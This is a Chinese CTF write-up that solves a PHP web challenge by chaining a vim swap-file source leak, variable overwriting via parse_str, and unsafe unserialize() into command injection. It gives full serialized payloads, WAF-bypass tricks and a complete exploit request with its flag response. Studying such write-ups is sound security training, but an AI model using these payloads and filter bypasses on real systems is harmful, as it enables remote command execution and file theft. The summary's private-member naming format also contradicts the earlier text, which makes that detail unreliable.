0x00 前言
- 本次总结用到的题目是“2018全国大学生网络安全邀请赛”的赛题,题目名称为Web2。
0x01 通过vim源码泄露获取源代码
- 拿到题目,只有一个
Can you hack me?
显示,F12查看也没有什么端倪。文件本身为index.php
,访问.index.php.swp
得到其vim交换文件,典型的源码泄露。在Linux中可以还原出index.php
:
vim -r index.php
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me?<br>";
}
?>
0x02 PHP变量覆盖
- 观察代码可知其定义了
first
,var
,bbb
,ccc
变量,后面又判断它们的值是否为其他的值,很明显是变量覆盖问题。观察下列代码:
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
- 如果不控制变量i的值的话,会将第一个GET参数进行赋值操作。再向下看:
@parse_str($_GET['a']);
- 这句话会将GET参数
a
按照HTTP参数列表的方式解析,通过这一点可以构造更多的参数来覆盖后续的变量,所以我们构造URL:
/index.php?first=doller&a=var=give%26bbb=me%26ccc=flag
- 总体来看传入了两个参数,一个是
first
参数,值为doller
,用来通过foreach循环覆盖原有变量,过掉第一个条件,第二个参数是a
,值为var=give%26bbb=me%26ccc=flag
,在parse_str
函数处会将这个参数进行parse,之后得到var
,bbb
,ccc
,来覆盖后续的变量,过掉下面的if语句。这里注意要对&
符号进行URL编码,即%26
,不然服务器无法得到正确的值。
0x03 PHP反序列化
- 到最内层只剩一个反序列化函数了,同时上面给出一个类:
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
- 接受一个POST参数
come
,然后对其进行反序列化。在反序列化时,PHP会先自动调用__wakeup
魔术方法,这个方法又调用了waf
方法进行过滤,然后在代码块结束时调用__destruct
析构方法释放对象。
- 观察代码可知,其要求类的成员
method
是一个字符串,值必须为echo
,用来调用echo
方法执行系统命令,同时要求类的成员args
为一个数组,数组是echo
方法的参数列表,即只有一个key-value,也就是host => 我们要传入的参数
。
- 这里在构造对象字符串的时候有一个坑,就是两个成员都是私有成员,所以其参数名称为:
%00类名%00成员名称
,不知道这是个什么鬼设计,同时这里面是直接赋值的,反序列化时不会调用__construct
方法。例如构造如下的POST参数:
come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:1:"a";}}
- 就代表传入一个
come
对象,其method
成员为echo
,其args
成员为host => a
,稍微解释一下这个字符串:
- O代表对象,
s
代表字符串,i
代表整型,a
代表数组
- 声明对象本身:
O:类名长度:类名:成员个数:{成员列表}
- 其中成员列表为:method成员:
s:成员名长度:成员名;s:成员值长度:成员值
;args成员: s:成员名长度:成员名;a:数组元素个数:{s:数组Key长度:数组Key的值;s:数组value长度:数组value的值;}
- 构造好之后,开始研究怎么绕过
waf
,一开始想到的是利用漏洞CVE-2016-7124
,在输入的类成员个数的值大于实际成员个数值的时候,存在可以绕过__wakeup
的漏洞,这样就不会执行waf
方法了,构造POST参数:
come=O:4:"come":3:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:9:"cat /flag";}}
- 这里面实际只有两个成员,但是声明的是3个,如果服务器存在该漏洞就会触发,但是测试之发现服务器并不存在该漏洞,那么只能尝试绕过
waf
的过滤。
- 在
waf
中使用正则表达式对某些字符进行了过滤,还过滤了字符串flag
,经过尝试发现,空格可以用TAB代替(URL编码为%09
),想要执行多个命令可以使用&&
来拼接(URL编码为%26%26
),而对flag的过滤,我的直观想法是使用大写转小写,或者字符替换,其中大写转小写为:
echo 1&&typeset%09-l%09a&&a=Flag&&cat%09/$a
- 这里使用
typeset
之后会自动将a
变量的大写字母全部转为小写字母,然后再利用a
变量进行操作。本地测试通过,但是实际测试服务器没能成功执行typeset
这个指令。于是转而使用字符替换的方法:
echo 1&&a=Flag&&cat%09/${a/F/f}
- 这里使用
${a/F/f}
的意思是,将字符串a中首次出现的模式F替换为f。,然后再利用a
变量进行操作。本地测试通过,但是实际测试服务器依旧没能成功执行cat /${a/F/f}
命令。我甚至都去看了根目录:
echo 1&&ls%09-l%09/
- 都在根目录发现了
flag
文件,我甚至还去读取了/etc/passwd
都成功了。不过最终依旧没能拿到flag
,如果有大佬知道哪里不对的话请指点。
- 更新:经过大佬指点,对于
flag
的绕过不必这么麻烦,因为实际上用的是替换,所以可以这样构造:
echo 1&&cat%09/flflagag
waf
替换掉flag
的操作只会进行一次,所以替换完了之后正好剩下一个flag
,就可以绕过其限制,最终的Payload为:
POST /index.php?first=doller&a=var=give%26bbb=me%26ccc=flag HTTP/1.1
Host: d1caba9ae5ec40e2badd5759806b6b095e057623213f4e8e.game.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:16:"1%26%26cat%09/flflagag";}}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Sun, 04 Nov 2018 15:30:17 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 61
Connection: keep-alive
<br>welcome!<br>1
flag{7387b9ee-4712-4519-95a9-bca321590110}
0x04 总结
- 本题主要考察vim源码泄露、PHP变量覆盖、PHP反序列化漏洞以及参数过滤绕过的问题,下面进行一个小小的总结:
- 使用vim编辑文件,强行退出后会保留一个形如
.name.php.swp
的文件,该文件可能会泄露源代码
- PHP中有多种函数可以对变量的值进行设置,包括
extract
,parse_str
等等,这些函数在使用的时候,如果传入的参数为$_GET
或者$_POST
这类攻击者可控的参数,就可能覆盖原有的变量,改变程序逻辑。
- PHP使用
unserialize
方法用于反序列化,如果该方法的参数是攻击者可控的,可能会产生PHP反序列化漏洞。在反序列化时,会先调用__wakeup
魔术方法,不会调用__construct
魔术方法,在代码块结束时会调用__destruct
方法进行清理。在序列化时调用的是__sleep
方法。
- PHP序列化对象时,要注意类的成员权限,特别是私有成员,其成员名字为
%00类名成员名%00
,保护成员名字为%00*成员名%00
。
- PHP在反序列化时,低版本PHP存在
CVE-2016-7124
漏洞,如果传入的反序列化的对象,其声明的成员个数大于实际的成员个数,会触发漏洞允许攻击者绕过__wakeup
魔术方法。
- 遇到字符串过滤时,如果不是循环过滤,可以考虑类似
flflagag
这样的双写绕过方式。
感谢@Wuping @Jinwei 大佬的指导!